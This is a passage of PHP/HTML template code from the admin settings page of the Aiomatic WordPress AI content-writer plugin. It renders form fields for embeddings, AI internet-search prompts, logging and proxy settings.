'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="embeddings_bulk_excerpt" name="aiomatic_Main_Settings[embeddings_bulk_excerpt]"<?php if ($embeddings_bulk_excerpt == 'on') echo ' checked '; ?>> <label for="embeddings_bulk_excerpt"><?php echo esc_html__("Bulk AI Post Creator - Excerpt Prompts", 'aiomatic-automatic-ai-content-writer');?></label><br/> </div> <input type="checkbox" id="embeddings_edit" name="aiomatic_Main_Settings[embeddings_edit]"<?php if ($embeddings_edit == 'on') echo ' checked '; ?>> <label for="embeddings_edit"><?php echo esc_html__("Content Editing", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="embeddings_chat_short" name="aiomatic_Main_Settings[embeddings_chat_short]"<?php if ($embeddings_chat_short == 'on') echo ' checked '; ?>> <label for="embeddings_chat_short"><?php echo esc_html__("Chatbot Shortcodes", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="embeddings_article_short" name="aiomatic_Main_Settings[embeddings_article_short]"<?php if ($embeddings_article_short == 'on') echo ' checked '; ?>> <label for="embeddings_article_short"><?php echo esc_html__("Text Completion Shortcodes", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="embeddings_edit_short" name="aiomatic_Main_Settings[embeddings_edit_short]"<?php if ($embeddings_edit_short == 'on') echo ' checked '; ?>> <label for="embeddings_edit_short"><?php echo esc_html__("Text Editing Shortcode", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="embeddings_related" name="aiomatic_Main_Settings[embeddings_related]"<?php if ($embeddings_related == 'on') echo ' checked '; ?>> <label for="embeddings_related"><?php echo esc_html__("Related Questions Creation", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="embeddings_assistant" name="aiomatic_Main_Settings[embeddings_assistant]"<?php if ($embeddings_assistant == 'on') echo ' checked '; ?>> <label for="embeddings_assistant"><?php echo esc_html__("Content Wizard", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="embeddings_forms" name="aiomatic_Main_Settings[embeddings_forms]"<?php if ($embeddings_forms == 'on') echo ' checked '; ?>> <label for="embeddings_forms"><?php echo esc_html__("AI Forms", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="embeddings_omni" name="aiomatic_Main_Settings[embeddings_omni]"<?php if ($embeddings_omni == 'on') echo ' checked '; ?>> <label for="embeddings_omni"><?php echo esc_html__("AI OmniBlocks", 'aiomatic-automatic-ai-content-writer');?></label><br/> </div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("AI Embeddings Auto Indexing Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the post types for which you want to enable embeddings auto indexing.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Embeddings Auto Indexing For Newly Published:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <select autocomplete="off" id="index_types" multiple name="aiomatic_Main_Settings[index_types][]" class="cr_width_full"> <?php foreach ( get_post_types( '', 'names' ) as $tpost_type ) { if(strstr($tpost_type, 'aiomatic_')) { continue; } echo '<option value="' . esc_attr($tpost_type) . '"'; if(in_array($tpost_type, $index_types)) { echo ' selected'; } echo '>' . esc_html($tpost_type) . '</option>'; } ?> </select> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("AI Embeddings Template Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the template of the embedding which will be saved in the database. You can use the following shortcodes: %%post_title%%, %%post_content%%, %%post_excerpt%%, %%post_url%%, %%post_id%%. The default value of this field is: %%post_title%% -- %%post_excerpt%% -- Read more at: %%post_url%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Auto Created Embeddings Template:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <textarea rows="8" cols="70" id="embedding_template" class="cr_width_full" name="aiomatic_Main_Settings[embedding_template]" placeholder="<?php echo esc_html__("Set a template to use for auto created embeddings", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($embedding_template); ?></textarea> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("AI Embeddings Optimization Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to rewrite content using AI before sending it to the embedding?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Optimize The %%post_content%% Shortcode Using AI:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="rewrite_embedding" onchange="embChanged();" name="aiomatic_Main_Settings[rewrite_embedding]"<?php if ($rewrite_embedding == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr class="hideEmb"> <th> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to rewrite content using AI before sending it to the embedding? This will rewrite the %%post_content%% in the 'Embedding Template' settings field - so be sure to use the %%post_content%% shortcode in the 'Embedding Template' settings field, if you are wanting to optimize the content for it using this feature. You can use the following shortcodes: %%post_title%%, %%post_content%%, %%post_excerpt%%, %%post_url%%, %%post_id%%. The default value of this field is: Revise the given content concisely, preserving its style and information, while ensuring the revised text stays within 300 words. Each paragraph should range between 60 to 120 words. Exclude non-textual elements and unnecessary repetition. Conclude with a statement directing readers to find more information at %%post_url%%. If these guidelines cannot be met, send an empty response. The content is as follows: %%post_content%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Embedding Content Rewriter Prompt (%%post_content%%):", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <textarea rows="8" cols="70" id="embedding_rw_prompt" class="cr_width_full" name="aiomatic_Main_Settings[embedding_rw_prompt]" placeholder="<?php echo esc_html__("Add your embedding rewriter prompt", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($embedding_rw_prompt); ?></textarea> </td> </tr><tr class="hideEmb"> <th class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td><select id="emb_assistant_id" name="aiomatic_Main_Settings[emb_assistant_id]" class="cr_width_full" onchange="assistantSelected('emb_assistant_id', 'disableEmb');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($emb_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($emb_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr class="hideEmb"> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the model you want to use for embedding content rewriting and optimizing.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Embedding Content Rewriter Model:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="embedding_rw_model" name="aiomatic_Main_Settings[embedding_rw_model]" <?php if($emb_assistant_id != ''){echo ' disabled';}?> class="disableEmb cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($embedding_rw_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </div> </td> </tr> </table> <?php } else { echo '<h2=>' . esc_html__("You need to enter a Pinecone.io API or a Qdrant API key in the 'API Keys' tab and save settings, to use this feature.", 'aiomatic-automatic-ai-content-writer') . '</h2>'; } ?> </div> <div id="tab-14<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('AI Internet Access Settings', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'AI Internet Access' tab enables you to configure and manage the internet connectivity settings for AI functionalities, ensuring your WordPress site's AI tools can access online data and services securely.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Main AI Internet Access Settings", 'aiomatic-automatic-ai-content-writer');?> (<a href="https://www.youtube.com/watch?v=5XjYjXG_uF8" target="_blank"><?php echo esc_html__("check this feature's tutorial", 'aiomatic-automatic-ai-content-writer');?></a>):</h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Modify the prompt for the AI writer, using the below template, adding also information extracted from the internet. You can use the following shortcodes: %%original_query%% (to add the original search query), %%current_date%% (to add the current date), %%web_results%% (to add the search query results).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Modify Prompt For the AI Writer Using Internet Search Results:", 'aiomatic-automatic-ai-content-writer');?></b><br/><input type="button" onclick="populate_default_internet();" value="<?php echo esc_html__("Restore To Default", 'aiomatic-automatic-ai-content-writer');?>"> </div> </th> <td> <div> <textarea rows="8" cols="70" id="internet_prompt" class="cr_width_full" name="aiomatic_Main_Settings[internet_prompt]" placeholder="<?php echo esc_html__("Add the edited prompt", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($internet_prompt); ?></textarea> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Modify the template of the %%web_results%% shortcode. You will be able to use the following shortcodes: %%result_counter%% (to add the index of the current result), %%result_title%% (to add the title of the current result), %%result_snippet%% (to add the snippet of the current result), %%result_link%% (to add the URL of the current result). The default value for this settings field is: [%%result_counter%%]: %%result_title%% %%result_snippet%% URL: %%result_link%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Template For the %%web_results%% Shortcode:", 'aiomatic-automatic-ai-content-writer');?></b><br/><input type="button" onclick="populate_default_template();" value="<?php echo esc_html__("Restore To Default", 'aiomatic-automatic-ai-content-writer');?>"> </div> </th> <td> <div> <textarea rows="2" cols="70" id="internet_single_template" class="cr_width_full" name="aiomatic_Main_Settings[internet_single_template]" placeholder="<?php echo esc_html__("Add the %%web_results%% shortcode template", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($internet_single_template); ?></textarea> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to use for keyword/keyphrase extraction from the submitted text (so the internet search will be more probable to return related results to the query sent to the AI). You can use the following shortcode here: %%original_prompt%%. The default value for this settings is: Using which keyword or phrase should I search the internet, so I get results related to the following text? Give me only a single search phrase or keyword, don't write anything else. The text is: \"%%original_prompt%%\"?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Keyword Extractor Prompt (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <textarea rows="3" cols="70" id="keyword_extractor_prompt" class="cr_width_full" name="aiomatic_Main_Settings[keyword_extractor_prompt]" placeholder="<?php echo esc_html__("Using which keyword or phrase should I search the internet, so I get results related to the following text? Give me only a single search phrase or keyword, don't write anything else. The text is: \"%%original_prompt%%\"?", 'aiomatic-automatic-ai-content-writer');?>"><?php echo esc_textarea($keyword_extractor_prompt); ?></textarea> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Specifying this parameter should lead to more relevant results for a specific country. This is particularly true for international customers and, even more specifically, for customers in English- speaking countries other than the United States. To restrict search results only to websites located in a specific country, specify this parameter as: countryDE - replace DE with your own 2 letter country code", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Search Results Location (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="text" id="internet_gl" placeholder="<?php echo esc_html__("2 letter country code", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[internet_gl]" value="<?php echo esc_html($internet_gl);?>" class="cr_width_full"/> </div> </td> </tr> <tr> <th class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td><select id="internet_assistant_id" name="aiomatic_Main_Settings[internet_assistant_id]" class="cr_width_full" onchange="assistantSelected('internet_assistant_id', 'disableInternet');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($internet_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($internet_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the model you want to use for keyword extraction, for internet search results.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Keyword Extractor Model (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="internet_model" name="aiomatic_Main_Settings[internet_model]" <?php if($internet_assistant_id != ''){echo ' disabled';}?> class="disableInternet cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($internet_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </div> </td> </tr> <tr> <th> <div class="hideLog"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the number of search results to add in the %%web_results%% shortcode. The default value for this settings is : 3", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Number Of Search Results To Add (In The %%web_results%% Shortcode):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div class="hideLog"> <select id="results_num" name="aiomatic_Main_Settings[results_num]" class="cr_width_full"> <option value="1"<?php if ($results_num == "1") { echo " selected"; } ?>><?php echo esc_html__("1", 'aiomatic-automatic-ai-content-writer');?></option> <option value="2"<?php if ($results_num == "2") { echo " selected"; } ?>><?php echo esc_html__("2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="3"<?php if ($results_num == "3") { echo " selected"; } ?>><?php echo esc_html__("3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="4"<?php if ($results_num == "4") { echo " selected"; } ?>><?php echo esc_html__("4", 'aiomatic-automatic-ai-content-writer');?></option> <option value="5"<?php if ($results_num == "5") { echo " selected"; } ?>><?php echo esc_html__("5", 'aiomatic-automatic-ai-content-writer');?></option> <option value="6"<?php if ($results_num == "6") { echo " selected"; } ?>><?php echo esc_html__("6", 'aiomatic-automatic-ai-content-writer');?></option> <option value="7"<?php if ($results_num == "7") { echo " selected"; } ?>><?php echo esc_html__("7", 'aiomatic-automatic-ai-content-writer');?></option> <option value="8"<?php if ($results_num == "8") { echo " selected"; } ?>><?php echo esc_html__("8", 'aiomatic-automatic-ai-content-writer');?></option> <option value="9"<?php if ($results_num == "9") { echo " selected"; } ?>><?php echo esc_html__("9", 'aiomatic-automatic-ai-content-writer');?></option> <option value="10"<?php if ($results_num == "10") { echo " selected"; } ?>><?php echo esc_html__("10", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enable AI internet access for the following features of the plugin.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable AI Internet Access For:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="checkbox" id="internet_single" name="aiomatic_Main_Settings[internet_single]"<?php if ($internet_single == 'on') echo ' checked '; ?>> <label for="internet_single"><?php echo esc_html__("Single AI Post Creator", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="internet_bulk" onchange="internetChanged();" name="aiomatic_Main_Settings[internet_bulk]"<?php if ($internet_bulk == 'on') echo ' checked '; ?>> <label for="internet_bulk"><?php echo esc_html__("Bulk AI Post Creator", 'aiomatic-automatic-ai-content-writer');?></label><br/> <div class="hideInternetContent"> <input type="checkbox" id="internet_bulk_title" name="aiomatic_Main_Settings[internet_bulk_title]"<?php if ($internet_bulk_title == 'on') echo ' checked '; ?>> <label for="internet_bulk_title"><?php echo esc_html__("Bulk AI Post Creator - Title Prompts", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="internet_bulk_sections" name="aiomatic_Main_Settings[internet_bulk_sections]"<?php if ($internet_bulk_sections == 'on') echo ' checked '; ?>> <label for="internet_bulk_sections"><?php echo esc_html__("Bulk AI Post Creator - Sections Prompts", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="internet_bulk_intro" name="aiomatic_Main_Settings[internet_bulk_intro]"<?php if ($internet_bulk_intro == 'on') echo ' checked '; ?>> <label for="internet_bulk_intro"><?php echo esc_html__("Bulk AI Post Creator - Intro Prompts", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="internet_bulk_content" name="aiomatic_Main_Settings[internet_bulk_content]"<?php if ($internet_bulk_content == 'on') echo ' checked '; ?>> <label for="internet_bulk_content"><?php echo esc_html__("Bulk AI Post Creator - Content Prompts", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="internet_bulk_qa" name="aiomatic_Main_Settings[internet_bulk_qa]"<?php if ($internet_bulk_qa == 'on') echo ' checked '; ?>> <label for="internet_bulk_qa"><?php echo esc_html__("Bulk AI Post Creator - QA Prompts", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="internet_bulk_outro" name="aiomatic_Main_Settings[internet_bulk_outro]"<?php if ($internet_bulk_outro == 'on') echo ' checked '; ?>> <label for="internet_bulk_outro"><?php echo esc_html__("Bulk AI Post Creator - Outro Prompts", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="internet_bulk_excerpt" name="aiomatic_Main_Settings[internet_bulk_excerpt]"<?php if ($internet_bulk_excerpt == 'on') echo ' checked '; ?>> <label for="internet_bulk_excerpt"><?php echo esc_html__("Bulk AI Post Creator - Excerpt Prompts", 'aiomatic-automatic-ai-content-writer');?></label><br/> </div> <input type="checkbox" id="internet_edit" name="aiomatic_Main_Settings[internet_edit]"<?php if ($internet_edit == 'on') echo ' checked '; ?>> <label for="internet_edit"><?php echo esc_html__("Content Editing", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="internet_chat_short" name="aiomatic_Main_Settings[internet_chat_short]"<?php if ($internet_chat_short == 'on') echo ' checked '; ?>> <label for="internet_chat_short"><?php echo esc_html__("Chatbot Shortcodes", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="internet_article_short" name="aiomatic_Main_Settings[internet_article_short]"<?php if ($internet_article_short == 'on') echo ' checked '; ?>> <label for="internet_article_short"><?php echo esc_html__("Text Completion Shortcodes", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="internet_edit_short" name="aiomatic_Main_Settings[internet_edit_short]"<?php if ($internet_edit_short == 'on') echo ' checked '; ?>> <label for="internet_edit_short"><?php echo esc_html__("Text Editing Shortcode", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="internet_related" name="aiomatic_Main_Settings[internet_related]"<?php if ($internet_related == 'on') echo ' checked '; ?>> <label for="internet_related"><?php echo esc_html__("Related Questions Creation", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="internet_assistant" name="aiomatic_Main_Settings[internet_assistant]"<?php if ($internet_assistant == 'on') echo ' checked '; ?>> <label for="internet_assistant"><?php echo esc_html__("Content Wizard", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="internet_forms" name="aiomatic_Main_Settings[internet_forms]"<?php if ($internet_forms == 'on') echo ' checked '; ?>> <label for="internet_forms"><?php echo esc_html__("AI Forms", 'aiomatic-automatic-ai-content-writer');?></label><br/> <input type="checkbox" id="internet_omni" name="aiomatic_Main_Settings[internet_omni]"<?php if ($internet_omni == 'on') echo ' checked '; ?>> <label for="internet_omni"><?php echo esc_html__("AI OmniBlocks", 'aiomatic-automatic-ai-content-writer');?></label><br/> </div> </td> </tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr><tr> <td class="coderevolution_block_input" colspan="2"> <iframe class="youtube-responsive" src="https://www.youtube.com/embed/5XjYjXG_uF8" frameborder="0" allowfullscreen></iframe> </td></tr> </table> </div> <div id="tab-7<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('Plugin General Settings', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'General Settings' tab allows you to configure advanced options and preferences that affect the overall operation of the plugin.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Basic Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable logging for rules?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Logging for Rules:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="enable_logging" onclick="mainChanged();" name="aiomatic_Main_Settings[enable_logging]"<?php if ($enable_logging == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div class="hideLog"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable detailed logging for rules? Note that this will dramatically increase the size of the log this plugin generates.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Detailed Logging for Rules:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div class="hideLog"> <label class="aiomatic-switch"><input type="checkbox" id="enable_detailed_logging" name="aiomatic_Main_Settings[enable_detailed_logging]"<?php if ($enable_detailed_logging == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </div> </td> </tr> <tr> <th> <div class="hideLog"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Choose if you want to automatically clear logs after a period of time.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Automatically Clear Logs After:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div class="hideLog"> <select id="auto_clear_logs" name="aiomatic_Main_Settings[auto_clear_logs]" class="cr_width_full"> <option value="No"<?php if ($auto_clear_logs == "No") { echo " selected"; } ?>><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="monthly"<?php if ($auto_clear_logs == "monthly") { echo " selected"; } ?>><?php echo esc_html__("Once a month", 'aiomatic-automatic-ai-content-writer');?></option> <option value="weekly"<?php if ($auto_clear_logs == "weekly") { echo " selected"; } ?>><?php echo esc_html__("Once a week", 'aiomatic-automatic-ai-content-writer');?></option> <option value="daily"<?php if ($auto_clear_logs == "daily") { echo " selected"; } ?>><?php echo esc_html__("Once a day", 'aiomatic-automatic-ai-content-writer');?></option> <option value="twicedaily"<?php if ($auto_clear_logs == "twicedaily") { echo " selected"; } ?>><?php echo esc_html__("Twice a day", 'aiomatic-automatic-ai-content-writer');?></option> <option value="hourly"<?php if ($auto_clear_logs == "hourly") { echo " selected"; } ?>><?php echo esc_html__("Once an hour", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If you want to use a proxy to crawl webpages, input it's address here. Required format: IP Address/URL:port. You can input a comma separated list of proxies.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Web Proxy Address List:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="text" id="proxy_url" placeholder="<?php echo esc_html__("Input web proxy url", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[proxy_url]" value="<?php echo esc_html($proxy_url);?>" class="cr_width_full"/> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If you want to use a proxy to crawl webpages, and it requires authentification, input it's authentification details here. Required format: username:password. You can input a comma separated list of users/passwords. If a proxy does not have a user/password, please leave it blank in the list. Example: user1:pass1,user2:pass2,,user4:pass4.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Web Proxy Authentication:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="text" id="proxy_auth" placeholder="<?php echo esc_html__("Input web proxy auth", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[proxy_auth]" value="<?php echo esc_html($proxy_auth);?>" class="cr_width_full"/> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to use the above proxies also when accessing OpenAI API? Otherwise, they will be used for Amazon product scraping / image downloading only.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Use Proxies Also For OpenAI API Accessing:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <label class="aiomatic-switch"><input type="checkbox" id="proxy_ai" name="aiomatic_Main_Settings[proxy_ai]"<?php if ($proxy_ai == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the timeout (in seconds) for every rule running and also for automatic post editing. I recommend that you leave this field at it's default value (3600).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Timeout for Processing (seconds):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" id="rule_timeout" step="1" min="0" placeholder="<?php echo esc_html__("Input rule timeout in seconds", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[rule_timeout]" value="<?php echo esc_html($rule_timeout); ?>" class="cr_width_full"/> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Resize the image that was assigned to be the featured 